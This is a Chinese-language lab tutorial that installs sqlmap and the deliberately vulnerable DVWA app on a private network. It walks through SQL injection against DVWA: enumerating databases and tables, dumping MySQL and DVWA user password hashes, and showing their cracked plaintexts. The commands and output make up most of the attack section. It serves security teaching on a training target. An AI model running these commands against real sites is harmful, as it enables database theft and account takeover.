通過sqlmap檢測sql注入漏洞
-
安裝SQLmap漏洞查看工具
-
安裝滲透測試演練系統DVWA
-
使用SQLmap進行sql注入並獲得后台管理員adnim帳號和密碼
環境介紹
安裝SQLmap:Rich七哥64.cn IP:192.168.1.64
滲透測試演練系統DVWA:Rich七哥63.cn IP:192.168.1.63
sql注入概述:
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
它是利用現有應用程序,可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫。
比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式攻擊
例:12306.cn 帳號和密碼泄露。
什么是SQLmap?
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。
官方網站下載http://sqlmap.org/
21.1.3 Rich七哥64上安裝sqlmap
1、安裝Python 環境
我系統中已經安裝過了,沒有的可以使用下面這條命令安裝
[root@Rich七哥64 ~]# yum install python -y
[root@Rich七哥64 ~]# python -V
Python 2.7.5
2、sqlmap 的安裝比較簡單,主要是把源碼下載下來就可以了
把sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz上傳到Linux系統中
[root@Rich七哥63 ~]# tar zxvf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz
[root@Rich七哥63 ~]# cd sqlmapproject-sqlmap-7eab1bc
[root@Rich七哥63 sqlmapproject-sqlmap-7eab1bc]# ls
doc lib procs shell sqlmap.conf tamper txt waf
extra plugins README.md sqlmapapi.py sqlmap.py thirdparty udf xml
#注: python是解釋型語言,不需要編譯,就是shell腳本, c語言是編譯型語言
3、運行sqlmap
[root@Rich七哥63 sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py
可以執行,說明安裝成功了。只是咱們沒有指定對應的參數,報了個小錯。
4、設置環境變量
上面安裝的sqlmap每次運行的時候都需要輸入相應的路徑用起來比較麻煩,可以通過設置環境變量的方式來直接使用sqlmap 命令
方法1:修改環境變量: PATH
方法2:創建軟鏈接 ln -n
方法3:創建一個別名
[root@Rich七哥64 ~]# vim /etc/profile 在文件最后添加如下代碼(路徑根據自己的來定)
alias sqlmap='python /usr/src/sqlmapproject-sqlmap-7eab1bc/sqlmap.py'
[root@Rich七哥64 ~]# source /etc/profile 這樣就可以直接使用了
[root@Rich七哥64 ~]# sqlmap
或:
[root@Rich七哥64 sqlmapproject-sqlmap-7eab1bc]# vim /etc/bashrc (在末行添加)
alias sqlmap='python /usr/src/sqlmapproject-sqlmap-7eab1bc/sqlmap.py'
[root@Rich七哥64 sqlmapproject-sqlmap-7eab1bc]# source /etc/bashrc
安裝滲透測試演練系統DVWA
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。
官方網站:鏈接地址:http://www.dvwa.co.uk 由於是國外的網站,有時可能會打不開。
這里使用的版本:DVWA-1.9.zip
在Rich七哥63上部署DVWA網站
1、.使用rpm包,快速搭建LAMP環境:
[root@Rich七哥63 ~]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb mysql
注:php-gd庫:gd庫是php處理圖形的擴展庫,gd庫提供了一系列用來處理圖片的API,使用GD庫可以處理圖片,或者生成圖片。 在網站上GD庫通常用來生成縮略圖或者用來對圖片加水印或者對網站數據生成報表及驗證碼。
2、安裝完之后,檢查安裝的狀態和啟動服務
[root@Rich七哥63 ~]# systemctl start httpd
[root@Rich七哥63 ~]# systemctl start mariadb
開機啟動:
[root@Rich七哥63 ~]# systemctl enable httpd
[root@Rich七哥63 ~]# systemctl enable mariadb
3、測試LAMP環境:
[root@Rich七哥63 ~]# vim /var/www/html/test.php
<?php
phpinfo();
?>
訪問http://192.168.1.63/test.php正常,說明LAMP環境支持PHP解析沒有問題
配置mysql數據root用戶密碼:
[root@Rich七哥63 ~]# mysqladmin -u root password "123456"
[root@Rich七哥63 ~]# mysql -u root -p123456
將下載的dvwa滲透系統代碼上傳到Linux上,並解壓到網站根目錄下
[root@Rich七哥63 ~]# unzip -d /var/www/html/ DVWA-1.9.zip
[root@Rich七哥63 ~]# ls /var/www/html/
DVWA-1.9 test.php
[root@Rich七哥63 ~]# chown apache:apache /var/www/html/DVWA-1.9/ -R
編輯DVAW配置文件/dvwa/config/config.inc.php,配置數據庫信息,user和password是MySQL的用戶名和密碼。
[root@Rich七哥63 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php 修改的地方如下:
15 $_DVWA[ 'db_server' ] = '127.0.0.1';
16 $_DVWA[ 'db_database' ] = 'dvwa';
17 $_DVWA[ 'db_user' ] = 'root';
18 $_DVWA[ 'db_password' ] = '123456'; #只需要修改成你的mysql的root用戶密碼
部署DVWA網站系統
在瀏覽器中輸入:http://192.168.1.63/DVWA-1.9/setup.php
解決報錯信息:
[root@Rich七哥63 ~]# vim /etc/php.ini
改:815 allow_url_include = Off
為: allow_url_include = On
[root@Rich七哥63 DVWA-1.9]# systemctl restart httpd
reCAPTCHA key: Missing
reCAPTCHA概述:
CMU設計了一個名叫reCAPTCHA的強大系統,讓他們的電腦去向人類求助。具體做法是:將OCR軟件無法識別的文字掃描圖傳給世界各大網站,用以替換原來的驗證碼圖片;那些網站的用戶在正確識別出這些文字之后,其答案便會被傳回CMU。
https://github.com/XX-net/XX-Net/wiki/使用Chrome瀏覽器
CAPTCHA:驗證碼
解決:
[root@Rich七哥63 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php
改:
26 $_DVWA[ 'recaptcha_public_key' ] = '';
27 $_DVWA[ 'recaptcha_private_key' ] = '';
為:
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
再次訪問,進行檢測:http://192.168.1.63/DVWA-1.9/setup.php
生成自己的谷歌開源免費驗證碼reCAPTCHA的公鑰和私鑰
訪問https://www.google.com/recaptcha/admin/create並用google賬戶登錄,在文本框輸入自己網站的網址,如global-key.mycompany.com,點擊create key,生成Public Key和Private Key。
點 Create / Reset Database 創建測試數據庫 DVWA
點 Create / Reset Database后,等2秒,它會自動跳轉后台管理登錄頁
后期登錄:
http://192.168.1.63/DVWA-1.9/login.php
dvwa的登錄界面的默認用戶名和密碼為admin和password
SQLmap探測sql注入漏洞
查看sqlmap.py 幫助選項:
語法:SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。
完成以以下操作:
枚舉登錄MYSQL數據的用戶名與密碼
枚舉所有數據庫
枚舉指定數據庫的數據表
枚舉指定數據表中的所有用戶名與密碼
21.3.1 枚舉登錄MYSQL數據的用戶名與密碼
擴展:
使用SQLmap之前我們得到需要當前會話cookie等信息,用來在滲透過程中維持連接狀態
Cookie 使用其復數形式稱為cookies ,指某些網站為了識別用戶的身份、進行session跟蹤,而存儲在用戶本地終端上的數據(通常是經過加密)
只要登錄過網站,就會在用戶本地產生cookie,主要用於身份識別、進行session會話跟蹤
為方便演示,我們將DVWA安全等級設置為low:
接下來我們進入頁面的“SQL Injection”部分,輸入任意值並提交。可以看到get請求的ID參數如下:
http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit#
這里有提交sql語句的地方,所以就是我們的一個sql注入點。
因此該頁面就是我們的目標頁面。
獲取當前頁面的cookie信息 :
復制cookie值以后,排成如下格式:
security=low;PHPSESSID=mm08bcjlsb88tv2u4aaamra6h5
21.3.2 使用sqlmap檢索當前數據庫和當前用戶
[root@Rich七哥63 ~]#sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit&user_token=44fb804005da7ed1ccbd3732f76311d2#" --cookie='Security=low;PHPSESSID=mm08bcjlsb88tv2u4aaamra6h5' -b --current-db --current-user
注:中間會遇到幾個選項,一路選擇Y就可以了
使用選項:
1、--cookie : 設置我們的cookie值“將DVWA安全等級從high設置為low”
2、-u : 指定目標URL
3、-b : 獲 取DBMS banner (DBMS:Database Management System 數據庫管理系統)
BMS banner (DBMS:Database Management System 數據庫管理系統)
4、--current-db : 獲取當前數據庫
5、--current-user :獲取當前用戶
結果如下:
或:
[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" -b --current-db --current-user #不寫cookie也可以
或:
[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" -p id --dbs
21.3.3 2:使用命令用來枚舉所有登錄msyql數據庫的用戶名和密碼hash值,后期可以對密碼hash進行破解,生成明文密碼
[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' --string="Surname" --users --password
使用選項:
1、--string : 當查詢可用時用來匹配頁面中的字符串
2、--users : 枚舉DBMS用戶
3、--password : 枚舉DBMS用戶密碼hash
運行結果:
database management system users [5]:
#用戶列表
[*] ''@'localhost'
[*] ''@'Rich七哥63.cn'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'Rich七哥63.cn'
[18:32:54] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[18:32:57] [INFO] writing hashes to a temporary file '/tmp/sqlmapgGGe6915601/sqlmaphashes-wZV5xB.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y
[18:33:00] [INFO] using hash method 'mysql_passwd'
[18:33:00] [INFO] resuming password '123456' for hash '*6bb4837eb74329105ee4568dda7dc67ed2ca2ad9' for user 'root'
database management system users password hashes:
#數據庫管理系統用戶和密碼hash:
[*] root [2]:
password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
clear-text password: 123456
password hash: NULL
注:到現在,我們已經知道,當前數據庫是5.5.56-MariaDB, 登錄mysql的用戶root的密碼為:123456
21.3.5 枚舉系統中所有的數據庫名:
[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' --dbs
使用選項:
--dbs: 枚舉DBMS中的數據庫
結果如下:
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] tes
21.3.6 4枚舉dvwa數據表,執行以下命令:
[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -D dvwa --tables
使用選項:
1、-D : 要枚舉的DBMS數據庫
2、--tables :枚舉DBMS數據庫中的數據表
得到結果如下:
Database: dvwa
[2 tables]
+————+
| guestbook |
| users |
+————+
21.3.7 獲取dvwa庫中users表的所有列名字:
[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -D dvwa -T users --columns
使用選項:
-T : 要枚舉的DBMS數據庫表
--columns : 枚舉DBMS數據庫表中的所有列
結果如下:
Database: dvwa
Table: users
[6 columns]
+————+————-+
| Column | Type|
+————+————-+
| avatar |varchar(70) |
| first_name |varchar(15) |
| last_name |varchar(15) |
| password |varchar(32) |
| user |varchar(15) |
| user_id |int(6) |
+————+————-+
21.3.8 拖庫
提取user表中的用戶名與密碼等信息。將用戶與密碼表中的所有用戶名與密碼dump出來
[root@Rich七哥63 ~]# sqlmap -u "http://192.168.1.63/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie='security=low; PHPSESSID=hlpvc2rk786h2eelje40j4rma4' -D dvwa -T users -C user,password --dump
使用選項:
-T : 要枚舉的DBMS數據表
-C: 要枚舉的DBMS數據表中的列
--dump : 轉儲DBMS數據表項
SQLmap會提問是否破解密碼,按回車確認:
注: 盡管我們用的數據庫中密碼是經過md5加密的,但是sqlmap可以導出sql數據,幫你解析成明文密碼
查看導出的數據:
[root@Rich七哥64 ~]# vim /root/.sqlmap/output/192.168.1.63/dump/dvwa/users.csv
user,password
1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)
這時我們就可以利用admin帳戶登錄做任何事了。
總結:
21.1 安裝SQLmap漏洞查看工具
21.2 安裝滲透測試演練系統DVWA
21.3 使用SQLmap進行sql注入並獲得后台管理員adnim帳號和密碼